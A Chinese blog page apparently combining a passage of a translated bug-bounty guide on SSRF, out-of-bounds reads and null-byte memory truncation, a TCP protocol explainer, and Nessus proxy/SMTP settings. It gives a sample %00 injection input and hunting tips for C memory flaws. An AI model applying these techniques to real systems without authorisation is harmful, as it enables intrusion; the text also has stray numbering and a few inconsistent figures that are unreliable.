觉。在 SSRF 中,受害者是漏洞服务器,在 CSRF 中,它是用户的浏览器。
这里的潜力非常大,包括:

  • 信息暴露,其中我们欺骗服务器来暴露关于自身的信息,在示例 1 中使用 AWS EC2 元

    数据描述。

  • XSS,如果我们让服务器渲染远程 HTML 文件,其中带有 JavaScript。

ESEA SSRF 和 AWS 元数据请求

1
2
3
4
如果你正在寻找 SSRF 漏洞,要留意任何在远程内容中拉取的目标 URL。这里,它
的标志是 url= 。
其次,不要仅限于你的第一想法。Brett 完全能够报告 XSS 载荷,但是这不太深入。通
过深入挖掘,它就能发现漏洞的真正价值。但是这样做的时候,要小心不要越界。

越界读取

除了越过分配的内容写入数据之外,另一个漏洞时越过内容边界读取数据。这是一类缓冲区
溢出,因为内容被越界读取,这是缓存区不允许的。
OpenSSL Heartbleed

内存截断

内存截断是一种技巧,用于通过使代码执行一些不常见或者非预期的行为,来发现漏洞。它
的效果类似于缓冲区溢出,其中内容在不该暴露的时候暴露了。

一个例子是空字节注入。这发生在提供了空字节 %00 或者十六进制的 0x00 ,并导致接收程
序的非预期行为时。在 C/C++,或低级编程语言中,空字节表示字符串的末尾,或者字符串
的终止符。这可以告诉程序来立即停止字符串的处理,空字节之后的字节就被忽略了。
当代码依赖字符串长度时,它的影响力十分巨大。如果读取了空字节,并停止了处理,长度
为 10 的字符串就只剩 5 了。例如:
thisis%00mystring
这个字符串的长度应该为 15,暗示如果字符串以空字节终止,它的长度为 6。这对于管理自
己的内存的低级语言是有问题的。
现在,对于 Web 应用,当 Web 应用和库、外部 API 以及其它用 C 写成的东西交互的时候,
这就有关系了。向 URL 传入 %00 可能使攻击者操作更广泛服务器环境中的 Web 资源。尤其
是当编程语言存在问题的时候,例如 PHP,它是使用 C 语言编写的。

PHP ftp_genlist()

Python Hotshot 模块

1
2
3
4
5
6
7
8
重要结论
我们现在查看了两个函数的例子,它们的不正确实现都收到了缓冲区溢出的影
响, memcpy 和 strcpy 。如果我们知道某个站点或者应用依赖 C 或者 C++,我们就可以
遍历还语言的源代码库(使用类似 grep 的东西),来寻找不正确的实现。
关键是寻找这样的实现,它向二者之一传递固定长度的变量作为第三个函数,对应被分
配的数据长度,在数据复制时,它实际上是变量的长度。
但是,像之前提到的那样,如果你刚刚起步,可能你需要放弃搜索这些类型的漏洞,等
你更熟悉白帽子渗透时再回来。

PHP 内存截断

phar_parse_tarfile 函数并没有考虑以空字符开始的文件名称,空字符是值为 0 的字节,即
十六进制的 0x00 。
在该方法的执行期间,当使用文件名称时,数组会发生下溢(即尝试访问不存在的数据,并
超出了数组分配的内存)。
这是个重要漏洞,因为它向黑客提供了本该限制的内存的访问权。

1
2
3
4
在处理自己管理内存的应用时,特别是 C 和 C++,就像缓冲区溢出那样,内存截断是个古老
但是仍旧常见的漏洞。如果你发现,你正在处理基于 C 语言的 Web 应用(PHP 使用它编
写),要留意内存操作的方式。但是同样,如果你刚刚起步,你可能值得花费更多时间来寻
找简单的注入漏洞,当你更熟练时,再回到内存截断。
Read More

TCP/IP协议栈的基本工作原理

TCP/IP协议,或称为TCP/IP协议栈,或互联网协议系列。TCP/IP协议栈(按TCP/IP参考模型划分),TCP/IP分为4层,不同于OSI,他将OSI中的会话层、表示层规划到应用层。

TCP/IP是互联网的核心协议,也是大多数网络应用的核心协议。

TCP由RFC793、RFC1122、RFC1323、RFC2001、RFC2018以及RFC2581定义。

(1) TCP概述

a. TCP提供的是面向连接的全双工服务。
TCP所有的数据会匹配到由源地址,目的地址,源端口,目的端口构成的一个TCP连接之上。TCP连接是一种需要建立的资源,可以通过之后会讲到的握手机制来完成。UDP是一种基于尽力而为机制的协议,不存在UDP连接资源的建立,资源的处理往往由应用层协议代劳了。

b. TCP是提供的可靠服务。
TCP有确认机制来保证数据包的可靠到达,
TCP有CRC校验机制来保证数据包的无差错性,UDP的CRC是可选的,
TCP会重新排序乱序的数据包和丢弃重复的数据,
TCP能够提供流量控制机制,使用滑动窗口算法,
TCP能提供拥塞控制与恢复机制,存在多种TCP拥塞控制模型,
TCP能协商发送的数据报文长度。

TCP报头:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
TCP Header Format

对于TCP头的标记位,SYN标记只在三次握手(或四次握手)的时候的被置位,ACK标记会在握手之后所有的TCP报文中被置位。当然也有一些特殊情况,比如有些情况下RST报文不会置位ACK。
这些规则也许在配置复杂的ACL中有用。

(2) TCP协议栈的状态机

TCP1

a. TCP连接的建立。TCP连接的建立有主动打开,被动打开以及同时打开三种情况。
三次握手比较清楚,要强调的是ISN,就是初始序列号的选择问题,序列号是32位的,针对不同的OS,初始序列号的选择往往也是有规律的。

TCP传输的最大报文长度也是在三次握手中协商的。具体说是在也仅在SYN报文中协商的。MSS = MTU - ip_header_len - tcp_header_len。MSS这里也是为了防止分片,提高网络带宽利用率。

TCP三次握手中,最后一个报文ACK,不需要再有额外的确认机制,如果这个ACK在网络中丢弃了,TCP协议栈也有其他的机制来处理。
除了三次握手,还有一种很特殊的应用情况,就是TCP两端同时打开的情况(发送syn),这种情况没有描述在上面的状态机中。

SYN1

举例子来说,A通过源端口7777发起到B的目的端口8888的连接的同时,B也通过源端口8888发起对A的目的端口7777的TCP连接。

b. TCP连接的关闭
TCP连接的关闭也有主动关闭,被动关闭和同时关闭三种情况,这三种情况在上面的TCP状态机中都有描述。
TCP连接的关闭需要报文四次交互,因为TCP是一个全双工的服务,所以每个方向的连接都关闭后,TCP的连接才是完整的拆除。

状态机中,主动关闭和同时关闭最后都会进入到一个TIME_WAITE状态。针对TCP主动关闭的最后一个报文应该是ACK,确认对端的FIN报文。这个状态的概念是该TCP连接的资源并没有完全释放,因为还要确保最后一个ACK报文能够无误的到达对端,确认对端的FIN,否则就仍然要重传ACK。
这个等待的过程(或者资源没有完全释放的过程)需要等待2MSL时间(考虑报文一次往返)。MSL是最大报文生存时间,RFC793中为2分钟,根据不同的TCP实现,一般是30s或者1分钟。

所以在TIME_WAITE状态内,该TCP连接所使用的端口和连接资源,不能被继续使用。但是很多TCP实现并没有这个限制,只要新的TCP连接所使用的ISN大于TIME_WAITE状态TCP连接所使用的最后序号即可。实现中往往使用
new ISN = latest ISN in time_waite + 128000

IP报文的最大生存时间是TTL值,TCP报文的最大生存时间是MSL,二层上没有报文最大生存时间的概念,存在风暴的可能。

(3) TCP的滑动窗和定时器

a. TCP的报文确认机制。
TCP使用的是滑动窗口机制来发送数据流,所以TCP协议允许连续发送多个TCP分组而不等待对端的确认。所以发送的分组数据和确认不是一对一的关系。
TCP中,对数据的确认往往是延迟的,一般情况是两个TCP数据对应一个确认,在时延定时器没有溢出的情况下。如果时延定时器溢出了,那么自然也会发送确认报文。
但是,针对存在交互大量微小报文的TCP应用,过于频繁的确认会导致网络利用率的低效,所以TCP支持一种Nagle算法。

b. 延时定时器
当TCP收到报文时候,启动延时定时器,比如200ms。

c. Nagle算法
TCP连接上只能存在一个未被确认的微小报文(41字节的TCP报文),在该确认到达前,TCP仅仅收集微小报文,当确认到达后,以一个分组的形式发出去。
当然,某些应用需要关闭Nagle算法。

d. 滑动窗口机制
窗口合拢(左移):在收到对端数据后,自己确认了数据的正确性,这些数据会被存储到缓冲区,等待应用程序获取。但这时候因为已经确认了数据的正确性,需要向对方发送确认响应ACK,又因为这些数据还没有被应用进程取走,这时候便需要进行窗口合拢,缓冲区的窗口左边缘向右滑动。注意响应的ACK序号是对方发送数据包的序号,一个对方发送的序号,可能因为窗口张开会被响应(ACK)多次。

窗口张开(右移):窗口收缩后,应用进程一旦从缓冲区中取出数据,TCP的滑动窗口需要进行扩张,这时候窗口的右边缘向右扩张,实际上窗口这是一个环形缓冲区,窗口的右边缘扩张会使用原来被应用进程取走内容的缓冲区。在窗口进行扩张后,需要使用ACK通知对端,这时候ACK的序号依然是上次确认收到包的序号。

窗口收缩,窗口的右边缘向左滑动,称为窗口收缩,Host Requirement RFC强烈建议不要这样做,但TCP必须能够在某一端产生这种情况时进行处理。

e. 重传定时器
目的是为了获得对端的确认报文。如果多次重传仍然没有获得确认,则会发送复位报文RST。

这里我们再来看一下TCP的三次握手。
A(发起端) ---> syn ---> B(服务器)
A(发起端) <--- syn/ack <--- B(服务器)
A(发起端) ---> ack ? B(服务器)
如果TCP客户端A的最后一个ACK丢失了,TCP服务器B没有收到,会是一种什么情况?
这个时候A已经进入到了Establish状态,然而B还只是Syn_Recev状态,所以服务器会重传syn/ack报文,只到连接的最终建立。但是客户端A已经到建立状态了,所以A是有可能发送TCP数据给服务器B的。
所以TCP的两端,最终状态机是有可能不一致的。[后面会详细讲述重传和拥塞控制机制]

f. 坚持定时器
由于TCP没有对ACK的确认机制,所以当接收端窗口从0恢复到一定值的时候,如果接收端发给发送端的ACK报文(标识窗口大小)丢失了,发送端就永远不知道接收端的窗口恢复情况了。
所以发送端会定时发送带一个字节的ACK给接收端,查看接收端的确认报文中的窗口信息。

g. 保活定时器
由于物理原因,处于IDLE状态的TCP连接一端崩溃的时候,TCP有保活机制来判断对端是否仍然工作。这个设计存在争议,也许应用层应该实现该功能。RFC1122中有描述,保活定时器默认是关闭的。下面截取了一些RFC描述。
Implementors MAY include “keep-alives” in their TCP implementations, although this practice is not universally accepted. If keep-alives are included, the application MUST be able to turn them on or off for each TCP connection, and they MUST default to off.

(4) TCP拥塞控制算法

慢启动、拥塞避免、快速重传和快速恢复

针对拥塞控制,主要有四种模型,即TCP TAHOETCP RENOTCP NEWRENOTCP SACK。TCP TAHOE模型是最早的TCP协议之一,它由Jacobson提出。

Jacobson观察到,TCP报文段(TCP Segment)丢失有两种原因,其一是报文段损坏,其二是网络阻塞,而当时的网络主要是有线网络,不易出现报文段损坏的情况,网络阻塞为报文段丢失的主要原因。针对这种情况,TCP TAHOE对原有协议进行了性能优化,其特点是,在正常情况下,通过重传计时器是否超时和是否收到重复确认信息(dupack)这两种丢包监测机制来判断是否发生丢包,以启动拥塞控制策略;在拥塞控制的情况下,采用慢速启动(Slow Start)算法和“拥塞避免”(Congestion Avoidance)算法来控制传输速率。 1990年出现的TCP Reno版本增加了“快速重传 ”(Fast Retransmit)、“快速恢复”(Fast Recovery)算法,避免了网络拥塞不严重时采用“慢启动”算法而造成过度减小发送窗口尺寸的现象,这样TCP的拥塞控制就主要由这4个核心算法组成。
a. 超时与重传
RTT的计算与RTO的计算

b. 慢启动和拥塞避免算法
慢启动算法的目的是为了保证TCP发送方发送分组的速率应该匹配收到该分组确认报文的速率,这样的设计能够应用于低速链路的广域网应用。为了实现慢启动机制,为TCP连接增加了一个新的窗口,拥塞窗口cwnd,该窗口初始化为一个报文段(非一个字节,而是一个TCP最大传输报文段大小,MSS)。这样一个方向上的TCP连接有两个窗口,一个是接收窗口用于接收方的流量控制,一个是拥塞窗口用于发送方的流量控制。发送方以这两个窗口中的小值作为方式上限。

慢启动算法:指数算法,cwnd默认为1,当收到一个ack确认时候,cwnd增加为2,当收到两个ack确认时候,cwnd增加为4,接着8,…

拥塞避免算法的目的,是为了防止中间路由器由于网络拥塞引起的数据包超时或者丢包。拥塞避免算法需要用到两个变量,一个是cwnd窗口大小,一个是ssthresh慢启动阈值,对于一个给定的初始连接,cwnd为1,ssthresh为65535。
当拥塞发生(超时或者重复确认),当拥塞发生时候,ssthresh被设置为cwnd和接收窗口中小值的一半,如果是超时引起的拥塞,则cwnd设置为1。

拥塞避免算法:如果cwnd大于ssthresh,每收到一个数据报文的确认,cwnd=cwnd+1/cwnd,cwnd窗口大小单位仍然是mss。

拥塞避免算法其实是和慢启动配合使用的。cwnd和ssthresh都是动态的值,虽然初始值为1和65535。
当真正拥塞发生的时候,如果是超时或重复ack引起的拥塞,ssthreash会置为cwnd和接收窗口大小的一半,cwnd会降为1,然后执行慢启动算法,直到cwnd大于ssthresh的时候,执行拥塞避免算法;
在慢启动算法期间和拥塞避免算法期间,TCP的发送速率都是在增长的,只是一个是指数增长方式,一个是线性增长方式。

c . 快速重传和快速恢复算法
TCP连接中有两种情况会引起重复的ack,一种是乱序报文,一种是丢包。

快速重传:当发送方收到三个重复的ack后,不会进入慢启动状态,而是立刻重传丢失的报文。因为只有接收方收到新的报文段的时候,才会发送重复的ack,这表明TCP连接上仍然有数据流动,所以应该避免使用慢启动降速。

快速恢复:
第一步,当收到第三个重复的ack的时候,ssthresh设置为当前cwnd的一半,重传丢失的报文。设置cwnd为ssthresh加上3倍的报文段大小(cwnd=cwnd/2 + 3)。
第二步,每收到一个重复的ack,cwnd增加1并发送一个分组。
第三步,当下一个确认新数据的ack到达的时候,设置cwnd为上面第一步中ssthresh值,这个ack应该是对重传报文的确认,同时也是对丢包后面的中间报文的确认。

最后,在收到三个重复ack的情况下,速度减半。

快速重传算法首次出现在4.3BSD的Tahoe版本,快速恢复首次出现在4.3BSD的Reno版本,也称之为Reno版的TCP拥塞控制算法。

可以看出Reno的快速重传算法是针对一个包的重传情况的,然而在实际中,一个重传超时可能导致许多的数据包的重传,因此当多个数据包从一个数据窗口中丢失时并且触发快速重传和快速恢复算法时,问题就产生了。因此NewReno出现了,它在Reno快速恢复的基础上稍加了修改,可以恢复一个窗口内多个包丢失的情况。具体来讲就是:Reno在收到一个新的数据的ACK时就退出了快速恢复状态了,而NewReno需要收到该窗口内所有数据包的确认后才会退出快速恢复状态,从而更一步提高吞吐量。

SACK就是改变TCP的确认机制,最初的TCP只确认当前已连续收到的数据,SACK则把乱序等信息会全部告诉对方,从而减少数据发送方重传的盲目性。比如说序号1,2,3,5,7的数据收到了,那么普通的ACK只会确认序列号4,而SACK会把当前的5,7已经收到的信息在SACK选项里面告知对端,从而提高性能,当使用SACK的时候,NewReno算法可以不使用,因为SACK本身携带的信息就可以使得发送方有足够的信息来知道需要重传哪些包,而不需要重传哪些包。

(5) TCP的应用

前几天和公司做防火墙限速的同事聊天, 我们公司新的防火墙限速实现方案就用到了TCP窗口机制. 众所周知, QoS除了分类,测速,队列还有调度一类的借助硬件的算法以外,在基于缓存或者丢包的限速基础上,最好还要降低TCP端到端的真正发送的速率,否则容易引起TCP的一系列拥塞控制动作。我们软件新的设计,就是通过修改ACK方向的通告窗口大小,来控制发送发的速率,能够在限速的基础上,同时降低发送方的发送速率。

Read More
post @ 2017-10-19

Nessus

download link

https://www.tenable.com/products/nessus/select-your-operating-system


Nessus中通讯设置

这里的通讯设置指的是设置选项中的Communication选项卡。在该选项卡设置中,包括两个设置选项,分别是Proxy ServerSMTP Server。下面分别介绍这两种服务的设置方式。

1.Proxy服务

Proxy(代理)服务用于转发HTTP请求。如果网络组织需要时,Nessus将使用该设置实现插件更新,并与远程扫描者进行通信。下面将介绍Proxy服务的设置方法。如下所示:

(1)在设置界面选择Communication选项卡,将显示如图1所示的界面。

从该界面可以看到,这里共有五个字段。但是,只有Host和Port字段是必须的。Username、Password和User-Agent三个字段是可选的。下面将分别介绍每个字段的含义,如下所示:

q Host:代理服务器的主机名名或IP。

q Port:代理服务器连接的端口号。
q Username:代理服务器连接的用户名。
q Password:代理服务器连接的用户名密码。
q User-Agent:如果代理服务器使用指定HTTP用户代理过滤器的话,则设置该字段。该字段主要用于自定义用代理字符串时使用。

2.SMTP服务

SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)是用于发送和接收邮件的标准。一旦配置了SMTP服务,Nessus会将扫描结果通过邮件的形式发送到“Email Notifications”选项指定的收件人。其中,SMTP服务的设置界面如图2所示。

下面将对SMTP服务设置界面的每个字段进行详细介绍。如下所示:

q Host:SMTP服务的主机名或IP地址。

q Port:用于连接SMTP服务的端口号。
q From(sender email):发送扫描报告的邮件地址。
q Encryption:使用哪种加密方式加密邮件内容。Nessus提供了三种方式,分别是Force SSL、Force TLS和Use TLS if available。默认,不使用加密(No Encryption)。
q Hostname(for email links):Nessus服务的主机名或IP地址。
q Auth Method:SMTP服务认证方法。Nessus提供了五种认证方法,分别是PLAIN、LOGIN、NTLM和CRAM-MD5。默认,没有使用认证方法,即NONE。
q Username:用于认证SMTP服务的用户名
q Password:用于认证SMTP服务用户对应的密码。

提示:在SMTP服务设置界面,如果没有使用任何认证方法的话,将不会出现Username和Password字段。

Read More
⬆︎TOP